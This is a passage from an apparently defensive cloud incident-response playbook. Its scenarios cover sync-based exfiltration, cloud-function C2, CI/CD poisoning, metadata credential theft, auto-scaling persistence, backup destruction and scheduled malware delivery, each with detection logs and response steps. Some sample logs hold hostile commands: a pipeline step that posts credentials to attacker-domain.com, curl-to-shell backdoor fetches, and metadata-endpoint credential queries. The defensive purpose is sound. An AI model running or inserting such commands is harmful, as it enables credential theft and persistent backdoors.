GCP	Cloud Audit Logs	methodName, principalEmail	Trace object copy or sync activity
All	VPC Flow Logs	dst_ip, bytes_sent	Detect data movement to unknown cloud IPs
Sync Tool Logs	Internal or SIEM	jobConfig, targetPath, timestamp	Confirm exfil destination

3. Detection Example – SIEM/Alert

Alert Name: Cross-Cloud – Suspicious Sync Configuration Change

Trigger Condition: Sync tool configuration changed followed by large object copies to external destination.

Rclone Log Extract (Local):

2025/08/08 11:12:04 Config file modified: remote bucket changed from "corp-backup" to "attacker-bucket"

2025/08/08 11:13:27 Transferred: 24.8 GB / 24.8 GB, 100%, 30 MB/s

2025/08/08 11:14:09 Files: 1200 copied

AWS CloudTrail:

```
{
  "eventTime": "2025-08-08T11:13:30Z",
  "eventName": "GetObject",
  "sourceIPAddress": "203.0.113.200",
  "userAgent": "rclone/v1.64.0",
  "requestParameters": {
    "bucketName": "finance-records",
    "key": "salaries-2024.xlsx"
  }
}
```

Azure Storage Log:

```
{
  "operationName": "GetBlob",
  "requester": "sync-agent",
  "status": "Success",
  "callerIpAddress": "203.0.113.200",
  "bytesSent": 8576000,
  "userAgentHeader": "rclone"
```

}

4. Immediate Containment Steps

Quick response is critical to prevent further leakage:

1. Stop the sync service and isolate the host running it.
2. Revoke all embedded storage credentials from all clouds.
3. Disable attacker destination bucket (if within your cloud boundary).
4. Block attacker IP 203.0.113.200 in all cloud firewalls.
5. Inspect all recent sync configurations and restore approved jobs.
6. Preserve all local logs and cloud access logs for forensic timeline.

5. Investigation Workflow

- Step 1: Identify when the sync config was altered.
 - Check file system modification timestamps and rclone logs.
- Step 2: Correlate sync activity across cloud storage services.
 - Look for matching timestamps of GET/COPY operations across AWS, Azure, GCP.
- Step 3: Validate destination.
 - Confirm whether the new bucket belongs to attacker or another compromised account.
- Step 4: Search for signs of persistence.
 - Look for cronjobs, scheduled tasks or daemon scripts re-initiating the sync.
- Step 5: Determine data sensitivity.
 - Inventory files exfiltrated and assess exposure level (PII, financials, IP).

6. Prevention Recommendations

- Store sync credentials in encrypted secret managers only.
- Use short-lived tokens or federated identities instead of long-lived keys.
- Implement egress filtering and DLP alerts for abnormal outbound transfers.
- Enable versioning and object lock to detect or prevent overwrite-based exfil.
- Regularly audit sync job configurations, destinations and access scopes.

Scenario 10 – Cloud Function Abuse for Command-and-Control (C2)

An attacker compromises a cloud account and creates or hijacks cloud functions to operate as C2 endpoints.

These functions:

- Receive encrypted beacon traffic from malware inside a corporate endpoint.
- Send tasking commands back (via HTTP, Cloud Pub/Sub or blob triggers).
- Relay stolen data to attacker infrastructure.
- Run in ephemeral environments, leaving minimal traces.

This technique bypasses traditional perimeter controls since all activity looks like legitimate function traffic.

1. How This Incident Typically Happens

- Attacker compromises a developer or automation account with permissions to deploy cloud functions.
- Malicious payload is deployed using infrastructure-as-code or API calls (e.g., gcloud functions deploy, az functionapp create, aws lambda create-function).
- Malware inside the network (e.g., on a developer workstation or cloud VM) communicates with the malicious cloud function as C2.
- The cloud function relays instructions/data to and from the attacker via innocuous protocols (HTTPS, blob updates, Pub/Sub messages).

2. Detection Sources & Log Locations

Cloud	Log Source	Relevant Fields	Purpose
AWS	CloudTrail + Lambda Logs (CloudWatch)	CreateFunction, InvokeFunction, Environment Variables	Detect unexpected Lambda deployment and usage
Azure	Azure Activity Logs + FunctionApp Logs	operationName, caller, resourceId	Track creation and execution of suspicious Azure Functions
GCP	Cloud Audit Logs + Logs Explorer	methodName, resourceName, sourceIP	Detect unauthorised function deployment and invocation
All	SIEM	Function creation/invoke correlation	Catch covert function behaviour and link to attacker infrastructure

3. Detection Example – SIEM/Alert

Alert Name: Cloud Function – Suspicious Function Created and Invoked Repeatedly from Internal Host

Trigger Condition: Function created outside CI/CD pipeline, invoked repeatedly from internal source, with outbound traffic.

AWS CloudTrail – Function Creation:

```
{
  "eventTime": "2025-08-08T12:35:10Z",
  "eventName": "CreateFunction",
  "userIdentity": {
    "type": "IAMUser",
    "userName": "automation-user"
  },
  "requestParameters": {
    "functionName": "processMessageQueue",
    "runtime": "python3.10",
    "handler": "lambda_function.lambda_handler"
  }
}
```

Lambda Execution Log (CloudWatch):

```
START RequestId: abc-123 Version: $LATEST
Command received: upload /tmp/finance-report.csv
Data exfiltrated to: https://attacker-domain.com/exfil
END RequestId: abc-123 Duration: 132.56 ms
```

Azure Function App Log:

```
2025-08-08 12:36:20Z - INFO - Beacon received from 192.168.12.55
2025-08-08 12:36:22Z - INFO - Instruction issued: run keylogger
2025-08-08 12:36:25Z - INFO - Data relayed to external IP 185.199.108.2
```

4. Immediate Containment Steps

1. Disable or delete all unverified functions in the affected cloud account.
 - AWS: `aws lambda delete-function`
 - Azure: `az functionapp delete`
 - GCP: `gcloud functions delete`
2. Isolate the internal asset that communicated with the malicious function.
3. Revoke IAM roles or credentials used to create the function.
4. Block C2 domains and IPs in firewalls / egress filtering.
5. Inspect execution logs to determine command flow and exfiltrated content.

6. Hunt for persistence via scheduled invocations or Pub/Sub triggers.

5. Investigation Workflow

- Step 1: Identify function creation source.
 - Check if it aligns with known CI/CD or IaC deployments.
- Step 2: Review function code and environment variables.
 - Look for obfuscated payloads, hardcoded IPs/domains, token exfil paths.
- Step 3: Correlate internal asset activity with function invocation times.
 - Find C2 beaconing endpoints inside the network.
- Step 4: Look for attacker persistence techniques.
 - Scheduled invocations, multi-region deployments or chained functions.
- Step 5: Determine if any data was exfiltrated.
 - Parse log outputs and check network telemetry.

6. Prevention Recommendations

- Restrict cloud function deployment rights to only CI/CD systems with least privilege.
- Apply code approval workflows for serverless deployments.
- Monitor function environment variables and code diffs in deployment logs.
- Use egress filtering/DNS inspection to block external communications from functions unless explicitly allowed.
- Set up alerts for unauthorised function creation and high-frequency invocations.

Scenario 11 – Cloud Build Pipeline Poisoning

An attacker gains access to a cloud-connected CI/CD build system (e.g., GitHub Actions, Azure DevOps, AWS CodeBuild, GitLab CI) via:

- Compromised pipeline secret,
- Stolen GitHub token,
- Misconfigured runner.

They poison the build pipeline by:

- Modifying YAML/build scripts to include malicious logic.
- Injecting secret exfiltration code into build artifacts.
- Automatically deploying poisoned containers, functions or infrastructure-as-code into AWS, Azure or GCP.

1. How This Incident Typically Happens

- CI/CD pipeline has long-lived secrets or tokens exposed in environment variables or config files.
- GitHub repo or Azure DevOps project is public or misconfigured.
- Attacker modifies build definition file (.github/workflows/, azure-pipelines.yml, buildspec.yml).
- CI/CD job executes malicious step silently (e.g., adding a reverse shell, creating a backdoor IAM user).
- Resulting build is pushed automatically to production cloud accounts without proper validation.

2. Detection Sources & Log Locations

System	Log Source	Relevant Fields	Purpose
GitHub / DevOps	Repo audit logs	actor, eventType, filePath	Detect changes to pipeline definition
Build Platform	Job logs	step, command, executionTime	Review unexpected script executions
AWS / Azure / GCP	Cloud Audit Logs	userAgent, principalId, eventName	Detect build system performing deployment
Container Registry	Artifact metadata	imageDigest, createdBy, tags	Validate source and build traceability
All	SIEM	Pipeline-to-cloud correlation	Detect poisoned builds and lateral movement

3. Detection Example – SIEM/Alert

Alert Name: CI/CD – Suspicious Build Job Injecting Unknown Artifact to Production
Trigger Condition: Pipeline modified + new step pushes unknown artifact to cloud within 30 mins.

GitHub Audit Log:

```
{
  "event": "workflow_file.change",
  "actor": "devops-admin",
  "repository": "company/app-infra",
  "filePath": ".github/workflows/deploy.yml",
  "timestamp": "2025-08-08T14:25:00Z"
}
```

Injected Malicious Step in Pipeline:

```
- name: Exfiltrate Cloud Credentials
  run: |
    aws sts get-caller-identity > /tmp/creds.txt
    curl -X POST -d "@/tmp/creds.txt" http://attacker-domain.com/receive
```

AWS CloudTrail Log:

```
{
  "eventTime": "2025-08-08T14:28:14Z",
  "eventName": "PutFunctionCode",
  "userAgent": "aws-codebuild/1.0",
  "sourceIPAddress": "build-runner.company.net",
  "requestParameters": {
    "functionName": "prod-reporting",
    "s3Key": "lambda/malicious-payload.zip"
  }
}
```

4. Immediate Containment Steps

1. Disable the affected CI/CD pipeline and revoke its deployment credentials.
2. Quarantine the poisoned artifact (e.g., container, Lambda, VM template).
3. Revert cloud deployments from backup or previous commit state.
4. Inspect all cloud environments for signs of implanted persistence (backdoor IAM users, extra roles, malware).
5. Block outbound domains like attacker-domain.com used for exfiltration.
6. Notify dev and ops teams — ensure rollback is complete and clean.

5. Investigation Workflow

- Step 1: Identify when pipeline definition was modified and by whom.
- Step 2: Examine build logs to trace new or unauthorised steps added.
- Step 3: Analyse built artifacts for malicious code, scripts, URLs.
- Step 4: Review downstream cloud activity logs to confirm deployment paths and impacted systems.
- Step 5: Hunt for indicators of persistence injected by poisoned build (e.g., hidden cloud functions, cronjobs, new secrets).

6. Prevention Recommendations

- Apply branch protection and signed commits for pipeline files.
- Use OIDC with short-lived tokens for pipeline-cloud access instead of static secrets.
- Require code review for CI/CD config changes.
- Integrate artifact scanning and supply chain security checks (e.g., Sigstore, SLSA framework).
- Monitor build job logs for unexpected network activity or data transfers.

Scenario 12 – Abused Cloud Monitoring & Logging for Internal Reconnaissance

An attacker with limited cloud access (e.g., compromised developer account, misconfigured role) leverages cloud-native logging and monitoring services to:

- Discover active hosts, functions and VMs.
- Enumerate internal IP addresses, services, ports, users and sensitive files.
- Use dashboards and log queries (e.g., CloudWatch Insights, Azure Log Analytics, GCP Logs Explorer) as passive recon tools.
- Prepare for lateral movement or data exfiltration without deploying tools or scanning the network directly.

1. How This Incident Typically Happens

- Attacker gains access to a cloud account with monitoring read permissions.
- They use Log Explorer, Insights dashboards or Metrics to query historical data.
- Common abused resources include:
 - VPC Flow Logs
 - Application logs (e.g., Nginx, SQL, internal auth systems)
 - Function execution logs (e.g., Lambda, Azure Functions)
- No malware is deployed; attacker lives off the land using what the cloud already logs.

2. Detection Sources & Log Locations

Cloud	Monitoring Tool	Activity Source	Purpose
AWS	CloudWatch Logs Insights	GetLogEvents, StartQuery, DescribeLogGroups	Detect abnormal querying
Azure	Log Analytics	QueryLogs, QueryHistory	Flag log hunting by non-monitoring users
GCP	Logs Explorer	logging.entries.list, logging.sinks.get	Identify recon via log access
All	Cloud Audit Logs	accessedBy, permissionsUsed	Trace access patterns
SIEM	Aggregated logs	Cross-cloud correlation	Reveal unusual or suspicious log activity by unapproved identities

3. Detection Example – SIEM/Alert

Alert Name: Recon – Suspicious Use of Monitoring Tools by Non-Admin User

Trigger Condition: Access to multiple log services from a user not assigned to Monitoring/DevOps group + queries for internal IPs, usernames or sensitive paths.

AWS CloudTrail Log:

```
{
  "eventTime": "2025-08-08T16:22:01Z",
  "eventName": "StartQuery",
  "userIdentity": {
    "type": "IAMUser",
    "userName": "dev-engineer"
  },
  "requestParameters": {
    "logGroupName": "/aws/lambda/app-core",
    "queryString": "fields @timestamp, @message | filter @message like /10.0.0.*/"
  }
}
```

Azure Log Analytics Query History:

Query executed by: devops-analyst@company.com
Query: search "token" | where Resource contains "AuthService"
Result Count: 172
Time: 2025-08-08T16:24:32Z

GCP Logs Explorer Usage:

```
{
  "protoPayload": {
    "methodName": "logging.entries.list",
    "authenticationInfo": {
      "principalEmail": "ci-service@project-id.iam.gserviceaccount.com"
    },
    "requestMetadata": {
      "callerIp": "192.0.2.88"
    },
    "resourceName": "projects/project-id/logs/cloudsql.googleapis.com%2Fpostgres.log"
  }
}
```

4. Immediate Containment Steps

1. Disable or limit log and metric viewer access for compromised user or service account.
2. Rotate access tokens and credentials associated with the misused role or identity.
3. Audit all executed queries across logs and metrics.

4. Hunt for suspicious follow-up activity: privilege escalation, lateral movement or data access.
5. Block outbound traffic to suspicious IPs found during the recon phase.

5. Investigation Workflow

- Step 1: Review Audit Logs to identify who accessed monitoring services and when.
- Step 2: Extract full query history from CloudWatch Insights, Log Analytics or Logs Explorer.
- Step 3: Map recon paths — what systems, logs and metadata were accessed.
- Step 4: Determine if attacker downloaded log data or pivoted using information found.
- Step 5: Check for subsequent actions (e.g., access to S3/GCS/Blob after logs exposed bucket names or secrets).

6. Prevention Recommendations

- Apply least privilege: avoid granting logs.viewer or equivalent to unmonitored roles.
- Enable alerting on non-standard query usage in log platforms.
- Mask or redact sensitive values in logs (e.g., tokens, IPs, usernames).
- Monitor log queries for common recon terms: "token", "10.0.", "admin", "confidential", etc.
- Use data classification and tagging to restrict access to sensitive log streams.

Scenario 13 – Cloud DNS Hijacking for Traffic Redirection

An attacker with DNS management privileges in a cloud account:

- Modifies A, CNAME or MX records of high-value domains or subdomains.
- Points them to attacker-controlled infrastructure (e.g., phishing server, fake VPN gateway, malware host).
- Uses this redirection to capture user credentials, intercept traffic or inject malicious payloads.
- Often targets federated login portals, internal tools and shared VPN URLs.

1. How This Incident Typically Happens

- IAM or RBAC misconfiguration allows a user or service account to edit DNS zone records.
- CI/CD or IaC tools with embedded DNS management rights are compromised.
- Attacker identifies high-value domain entries (e.g., vpn.company.com, sso.company.com) and changes them.
- DNS changes propagate globally within minutes.
- If TLS certificates are not pinned or checked, users may not realise redirection has occurred.

2. Detection Sources & Log Locations

Cloud	Log Source	Relevant Fields	Purpose
AWS	CloudTrail	ChangeResourceRecordSets, userIdentity, hostedZoneId	Track Route 53 record changes
Azure	Azure Activity Logs	operationName, caller, resourceId	Detect DNS record edits
GCP	Cloud Audit Logs	methodName, resourceName, zone	Monitor changes in Cloud DNS
DNS Logs	External resolver (e.g., Umbrella, Pi-hole)	queryType, resolvedIP	Validate DNS behaviour and propagation
SIEM	Correlated logs	DNS changes + traffic to malicious IP	Confirm malicious redirect activity

3. Detection Example – SIEM/Alert

Alert Name: DNS – High-Value Subdomain Redirected to Suspicious IP

Trigger Condition: DNS record for sensitive subdomain changed to an unrecognised IP/domain + followed by traffic to that new destination.

AWS CloudTrail Log:

```
{
  "eventTime": "2025-08-08T17:11:10Z",
  "eventName": "ChangeResourceRecordSets",
  "userIdentity": {
    "type": "IAMUser",
    "userName": "devops-infra"
  },
  "requestParameters": {
    "hostedZoneId": "Z3P5QSUBK4POTI",
    "changeBatch": {
      "changes": [
        {
          "action": "UPSERT",
          "resourceRecordSet": {
            "name": "vpn.company.com.",
            "type": "A",
            "ttl": 300,
            "resourceRecords": [
              { "value": "198.51.100.77" }
            ]
          }
        }
      ]
    }
  }
}
```

DNS Query Log:

Timestamp: 2025-08-08T17:13:00Z
 Query: vpn.company.com
 Resolved IP: 198.51.100.77
 Client IP: 10.1.3.47 (user endpoint)
 Query Type: A

4. Immediate Containment Steps

1. Immediately revert DNS records to their correct values.
 - AWS Route 53: ChangeResourceRecordSets
 - Azure DNS / GCP DNS: Update via CLI or console.
2. Block attacker-controlled IPs (198.51.100.77) at perimeter firewalls.
3. Invalidate SSL certs (if attacker issued rogue certs via Let's Encrypt).
4. Force reauthentication for users who accessed the affected domains during the incident window.

5. Preserve logs, DNS history and traffic captures for forensics.

5. Investigation Workflow

- Step 1: Identify the identity that performed the DNS record change.
 - Trace IAM/RBAC role and how it got the permission.
- Step 2: Determine if the change was automated (CI/CD) or manual.
- Step 3: Identify client connections to the malicious IP.
 - Use firewall/proxy/VPN/DNS logs to trace victims.
- Step 4: Check if credentials or sensitive data were submitted to attacker endpoint.
- Step 5: Inspect if other DNS entries were altered or scheduled to change.

6. Prevention Recommendations

- Enforce strict IAM/RBAC controls over DNS management privileges.
- Implement DNS change approval workflows and logging integrations.
- Monitor DNS records for sensitive domains with external DNS change detection tools (e.g., DNS monitoring services).
- Use certificate transparency logs to detect rogue certs.
- Apply DNSSEC where supported to prevent cache poisoning or spoofing.

Scenario 14 – Abuse of Cloud Metadata Services for Credential Theft

An attacker who gains access to a cloud VM, container or serverless compute instance queries the cloud provider's instance metadata service (e.g., 169.254.169.254) to:

- Extract IAM temporary credentials, access tokens or service account metadata.
- Use those credentials to perform unauthorised API calls across AWS, Azure or GCP.
- Access S3, modify compute instances, create new IAM roles or exfiltrate data.
- Bypass traditional detection due to the legitimate use of metadata endpoints.

1. How This Incident Typically Happens

- Attacker gains shell access to a cloud VM/container (via exposed SSH, vulnerable app, SSRF).
- They run curl or similar tool to access:
 - AWS: `http://169.254.169.254/latest/meta-data/iam/security-credentials/`
 - Azure: `http://169.254.169.254/metadata/identity/oauth2/token`
 - GCP:
`http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token`
- Retrieved credentials allow them to assume roles, access cloud services and pivot.
- Metadata credentials often have wide scope if not properly restricted.

2. Detection Sources & Log Locations

Cloud	Log Source	Relevant Fields	Purpose
AWS	CloudTrail	userAgent, accessKeyId, eventName, sourceIPAddress	Identify use of instance role credentials
Azure	Azure Activity Logs	identity, tokenSource, callerIpAddress	Trace MSI token usage
GCP	Cloud Audit Logs	authenticationInfo.principalEmail, requestMetadata.callerIp	Identify service account token usage
VPC Flow Logs	Network logs	dst_ip = 169.254.169.254	Detect metadata endpoint access
Host Logs	EDR or Linux audit	curl, wget, python requests calls	Correlate endpoint access from compromised VM

3. Detection Example – SIEM/Alert

Alert Name: Compute – Unauthorized Metadata Credential Access

Trigger Condition: Internal host queries metadata endpoint and uses the retrieved token to access cloud services from a different IP.

Host Log (Linux Audit or Sysmon):

User: apache

Command: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

Timestamp: 2025-08-08T18:11:44Z

Source: Web app container (internal SSRF)

AWS CloudTrail Log:

```
{
  "eventTime": "2025-08-08T18:12:01Z",
  "eventName": "ListBuckets",
  "userIdentity": {
    "type": "AssumedRole",
    "principalId": "i-0abc123def456ghi:WebServerRole"
  },
  "sourceIPAddress": "198.51.100.55",
  "userAgent": "aws-sdk-go/2.2.0"
}
```

GCP Metadata Request Log:

GET /computeMetadata/v1/instance/service-accounts/default/token

User-Agent: curl/7.68.0

IP: 10.1.2.10

4. Immediate Containment Steps

1. Isolate the compromised VM/container immediately from the network.
2. Revoke temporary credentials from metadata service:
 - AWS: aws sts revoke-session
 - GCP: Use gcloud auth revoke or rotate service account key
 - Azure: Revoke access token via Azure AD or reset managed identity
3. Inspect audit logs for all actions done using the stolen token.
4. Identify the attack path (e.g., SSRF, shell, RCE) and patch or remove entry point.
5. Review IAM/service account permissions used by the instance and reduce scope.

5. Investigation Workflow

- Step 1: Correlate access to metadata endpoint with token usage in cloud logs.

- Step 2: Identify the attacker's IP and method of access to VM/container.
- Step 3: Trace all API calls made using the harvested token.
- Step 4: Determine if any new resources, IAM roles or persistence methods were created.
- Step 5: Perform forensic analysis of the compromised host and block attacker infrastructure.

6. Prevention Recommendations

- Use IMDSv2 on AWS (session-based metadata access with token).
- Restrict Azure managed identities to only required roles and enforce token usage logs.
- On GCP, use workload identity federation instead of default service accounts.
- Monitor access to metadata IPs via VPC Flow Logs and host monitoring tools.
- Implement SSRF protection in all web apps and remove unused web metadata access libraries.

Scenario 15 – Abuse of Cloud Auto-Scaling for Persistence & Lateral Movement

An attacker compromises a cloud account or gains access to an EC2/VM/instance profile. Instead of just modifying running instances, they:

- Alter launch templates or auto-scaling group (ASG) user-data scripts.
- Inject malicious startup scripts, backdoors or C2 agents.
- Configure the ASG to auto-respawn compromised instances even after incident response teams terminate them.
- Use the respawning mechanism to regain access, expand laterally and maintain stealth.

This persistence method is often missed in IR since ASG infrastructure regenerates after instance termination.

1. How This Incident Typically Happens

- Initial access gained through compromised IAM, key or instance.
- Attacker modifies:
 - AWS: Launch Template, ASG user-data or Lambda trigger for auto-deploy.
 - Azure: Virtual Machine Scale Set (VMSS) with startup script or extension.
 - GCP: Instance Templates used in Managed Instance Groups with startup scripts.
- Backdoor is placed in startup (cloud-init, rc.local, custom script) or pulled from attacker server.
- When the instance is terminated, the malicious config automatically redeploys it.

2. Detection Sources & Log Locations

Cloud	Log Source	Relevant Fields	Purpose
AWS	CloudTrail	CreateLaunchTemplateVersion, UpdateAutoScalingGroup, userData	Detect launch template or ASG changes
Azure	Activity Logs	Microsoft.Compute/virtualMachineScaleSets/write	VMSS reconfiguration
GCP	Cloud Audit Logs	compute.instanceTemplates.insert or update	New template creation
Instance Logs	Startup logs (/var/log/cloud-init.log,	Detect injected payloads	

	boot diagnostics)		
SIEM	Correlated activity	Pattern of terminated instances reappearing with same malicious behaviour	

3. Detection Example – SIEM/Alert

Alert Name: Infrastructure – Auto-Scaling Persistence Detected

Trigger Condition: ASG launch template or VMSS startup script modified + repeated creation of instances from same malicious template.

AWS CloudTrail Log – Launch Template Update:

```
{
  "eventTime": "2025-08-08T19:35:12Z",
  "eventName": "CreateLaunchTemplateVersion",
  "userIdentity": {
    "type": "IAMUser",
    "userName": "cloud-infra"
  },
  "requestParameters": {
    "launchTemplateName": "asg-template-prod",
    "launchTemplateData": {
      "userData":
"lyEvYmluL2Jhc2gKY3VybcAtcyBodHRwOi8vMTI3LjAuMC4xL2JhY2tkb29yLnNoIHwgc2g="
    }
  }
}
```

Decoded UserData (Base64):

```
#!/bin/bash
curl -s http://127.0.0.1/backdoor.sh | sh
```

Azure Activity Log:

```
{
  "operationName": "Microsoft.Compute/virtualMachineScaleSets/write",
  "identity": {
    "user": "admin@company.com"
  },
  "properties": {
    "customData": "curl http://malicious.site/init.sh | bash"
  }
}
```

}

4. Immediate Containment Steps

1. Identify and delete the malicious launch template, VMSS config or instance template.
2. Stop the ASG / VMSS / MIG from respawning new instances.
3. Terminate existing compromised instances.
4. Block outbound traffic to attacker-controlled domain (e.g., malicious.site).
5. Audit IAM credentials used to modify templates — rotate or revoke immediately.
6. Scan all cloud-init scripts and user-data fields for suspicious code.

5. Investigation Workflow

- Step 1: Track launch template or instance template change history.
- Step 2: Identify and decode all base64-encoded userData or customData.
- Step 3: Correlate newly launched instances to ASG/VMSS template versions.
- Step 4: Check for external connections to attacker C2 domains or IPs.
- Step 5: Trace IAM identity responsible and determine initial access vector.

6. Prevention Recommendations

- Use version-controlled infrastructure-as-code with approval workflows for template changes.
- Monitor userData, customData and startup-script fields for suspicious content.
- Apply CloudTrail alerts or Config rules for changes to launch templates and ASGs.
- Use egress filtering to restrict outbound traffic from newly launched instances.
- Limit IAM roles allowed to modify ASG or VMSS configurations.

Scenario 16 – Cloud Backup Repository Compromise and Destruction

After gaining access to privileged credentials, an attacker locates and deletes, disables or corrupts cloud-based backups stored across:

- AWS S3/Glacier, Azure Recovery Services Vault or GCP Backup/Revisions.
- They remove recovery points, disable versioning, modify retention policies and permanently delete snapshots or images.
- This action ensures that post-ransomware cleanup is impossible unless offline or immutable backups exist.

1. How This Incident Typically Happens

- Attacker escalates privileges to access backup admin roles (directly or via IAM misconfigurations).
- They enumerate backup targets (buckets, vaults, snapshots).
- Common destructive steps include:
 - AWS: DeleteObject, DeleteBackupVault, RemoveRecoveryPoint
 - Azure: Delete Recovery Point, Disable Soft Delete, Delete Vault
 - GCP: compute.snapshots.delete, deleteBackupPlan, patchRetentionPolicy
- Action is often delayed to coincide with ransomware detonation or mass deletion event.

2. Detection Sources & Log Locations

Cloud	Log Source	Key Events	Purpose
AWS	CloudTrail	DeleteObject, DeleteBackupVault, PutBucketVersioning	Track backup deletions or versioning changes
Azure	Activity Logs + Defender for Cloud	Delete Recovery Point, Disable Soft Delete	Detect vault tampering
GCP	Audit Logs	snapshots.delete, updateBackupPlan	Log snapshot deletions and retention policy edits
SIEM	Correlated cloud logs	Sudden loss of backup assets	Alerts based on backup object or snapshot deletions

3. Detection Example – SIEM/Alert

Alert Name: Backups – Sudden Deletion of Recovery Points and Retention Changes

Trigger Condition: More than 3 recovery points/snapshots deleted or soft delete disabled within 30 mins.

AWS CloudTrail Log:

```
{
  "eventTime": "2025-08-08T20:25:10Z",
  "eventName": "DeleteObject",
  "userIdentity": {
    "type": "IAMUser",
    "userName": "backup-admin"
  },
  "requestParameters": {
    "bucketName": "s3-glacier-backups",
    "key": "prod-snapshot-2025-08-07.zip"
  },
  "sourceIPAddress": "198.51.100.50"
}
```

Azure Activity Log:

```
{
  "operationName":
  "Microsoft.RecoveryServices/vaults/backupFabrics/protectionContainers/protectedItems
  /backup/delete",
  "caller": "securityadmin@company.com",
  "resultType": "Success",
  "properties": {
    "vaultName": "ProdVault",
    "deletedRecoveryPointCount": 7
  }
}
```

GCP Audit Log:

```
{
  "protoPayload": {
    "methodName": "compute.snapshots.delete",
    "authenticationInfo": {
      "principalEmail": "ci-admin@project-id.iam.gserviceaccount.com"
    },
    "resourceName": "projects/infra-prod/global/snapshots/db-backup-20250801"
  },
  "timestamp": "2025-08-08T20:26:45Z"
}
```

4. Immediate Containment Steps

1. Revoke access for the compromised IAM/backup admin account immediately.
2. Attempt to recover from Soft Delete, Recycle Bin or Object Lock (if configured).
3. Disable deletion privileges temporarily on backup vaults and buckets.
4. Snapshot current state of compromised resources (if accessible).
5. Engage cloud provider support for rollback, if possible (some deletions are irreversible).
6. Trigger internal DR/BCP response and assess for ransomware/wiper presence.

5. Investigation Workflow

- Step 1: Identify which IAM identity performed the deletions.
- Step 2: Trace back to the original compromise (phishing, privilege escalation, token theft).
- Step 3: Assess if any backups survived — especially outside the impacted cloud region/account.
- Step 4: Verify if backup services had immutability/retention/soft delete enabled.
- Step 5: Coordinate with DR team to rehydrate infra using unaffected sources (if any).

6. Prevention Recommendations

- Enable Object Lock (AWS), Soft Delete (Azure) or Retention Policies (GCP) on all backups.
- Enforce separation of duties: backup operators should not have delete permissions.
- Monitor and alert on sensitive backup operations via SIEM.
- Perform regular offline/off-cloud backup replications to secure storage zones.
- Require MFA + approval workflows for destructive operations in backup repositories.

Scenario 17 – Exploiting Cloud Scheduler / EventBridge / Logic Apps for Malware Delivery

An attacker with access to a compromised cloud account abuses:

- AWS EventBridge / CloudWatch Events
- Azure Logic Apps / Automation Runbooks
- GCP Cloud Scheduler / Workflows

...to schedule the repeated delivery of malware, reverse shells or lateral movement scripts into cloud resources.

These scheduled jobs:

- Fetch payloads from attacker-controlled servers.
- Invoke malicious Lambda/Function/GCE scripts.
- Trigger cross-region deployments or lateral API calls.
- Recreate malware or persistence even after removal.

1. How This Incident Typically Happens

- Attacker gains access to a service account, CI/CD role or admin credentials.
- They configure a scheduled job or event-driven rule to:
 - Periodically run malicious scripts (e.g., via cron expression).
 - Download malware from external URLs.
 - Invoke backdoored functions or compute instances.
- Scheduled payloads may be disguised as "cleanup", "monitoring" or "backup" tasks.

2. Detection Sources & Log Locations

Cloud	Log Source	Event Types	Purpose
AWS	CloudTrail	PutRule, PutTargets, InvokeFunction, SendCommand	Detect EventBridge or CloudWatch events creation
Azure	Activity Logs + Logic Apps Run History	workflowRunStarted, createWorkflow	Track automation triggers
GCP	Audit Logs	cloudscheduler.jobs.create, cloudfunctions.functions.call	Catch Scheduler-based tasks
SIEM	Correlated logs	Unusual job naming, timing or destination	Alert on persistent job-based malware routines

3. Detection Example – SIEM/Alert

Alert Name: Automation – Malicious Scheduled Job Detected

Trigger Condition: New automation job created by unusual identity + repeated external connections observed.

AWS CloudTrail Log:

```
{
  "eventTime": "2025-08-08T21:35:00Z",
  "eventName": "PutRule",
  "userIdentity": {
    "type": "IAMUser",
    "userName": "cloud-tools"
  },
  "requestParameters": {
    "name": "log-cleanup-2025",
    "scheduleExpression": "rate(5 minutes)",
    "eventPattern": null
  }
}
```

AWS PutTargets Log (Payload Delivery):

```
{
  "targets": [
    {
      "id": "malwareLoader",
      "arn": "arn:aws:lambda:us-east-1:111122223333:function:loadFromS3",
      "input": "{\"url\":\"http://attacker.site/payload.sh\"}"
    }
  ]
}
```

Azure Logic App Execution Log:

2025-08-08T21:37:01Z - Trigger: Recurrence

Action: HTTP GET http://attacker.site/payload.ps1

Status: Success

4. Immediate Containment Steps

1. Disable and delete all suspicious scheduled jobs, triggers, workflows or rules.
2. Block outbound communication to any attacker IP/domain (e.g., attacker.site).
3. Review payload execution paths — Lambda, Functions, Compute — and isolate affected services.

4. Revoke IAM roles or credentials used to create the job.
5. Preserve logs and extract payloads for malware analysis.

5. Investigation Workflow

- Step 1: Identify the job creator's identity and access origin.
- Step 2: Trace external domains contacted by the scheduled job.
- Step 3: Analyse the script or payload pulled by the job.
- Step 4: Check for follow-up actions — instance launches, credential creation, lateral movement.
- Step 5: Look for other scheduled jobs with similar naming patterns or cron settings.

6. Prevention Recommendations

- Enforce approval workflows for scheduled automation jobs or Logic Apps.
- Apply least privilege on scheduler/automation permissions.
- Monitor job definitions for suspicious names, destinations or high frequency.
- Enable egress restrictions to prevent jobs from contacting external malicious IPs.
- Regularly audit scheduled tasks across all clouds.

Scenario 18 – Exploiting Cloud API Gateway for Data Exfiltration and C2

An attacker:

- Deploys or hijacks cloud API endpoints (e.g., /upload, /status, /metrics) via API Gateway.
- Uses these endpoints to:
 - Receive exfiltrated data from compromised hosts.
 - Send encrypted C2 commands back to malware implants.
- Masks malicious traffic as legitimate HTTP requests to cloud APIs, bypassing network and DNS filters.
- Leverages free-tier or hidden cloud infrastructure for stealth and persistence.

1. How This Incident Typically Happens

- Attacker gains access to a cloud account or deploys C2 gateway via a misused IAM role.
- API Gateway is configured to:
 - Receive data and forward it to attacker server.
 - Return command payloads to internal agents using normal HTTP responses.
- Malware inside the network sends beacons or stolen data to the cloud-hosted API endpoint.
- All traffic appears as normal cloud API usage, making detection difficult.

2. Detection Sources & Log Locations

Cloud	Log Source	Key Fields	Purpose
AWS	API Gateway Access Logs	httpMethod, resourcePath, caller, requestTime	Detect unusual usage
Azure	API Management Logs + App Gateway Logs	operationName, clientIP, backendResponse	Monitor API calls and responses
GCP	API Gateway Logs + Audit Logs	requestUri, method, responseCode	Trace abuse patterns
SIEM	Cross-cloud logs	API activity from malware-infected hosts	Correlate beaconing and upload/download patterns

3. Detection Example – SIEM/Alert

Alert Name: API Gateway – Suspected C2 Channel Detected

Trigger Condition: High-frequency traffic to a rarely used API endpoint + presence of encoded payloads.

AWS API Gateway Access Log:

RequestId: abc-123
RequestTime: 2025-08-08T22:42:10Z
HTTPMethod: POST
ResourcePath: /metrics
SourceIP: 10.1.3.5
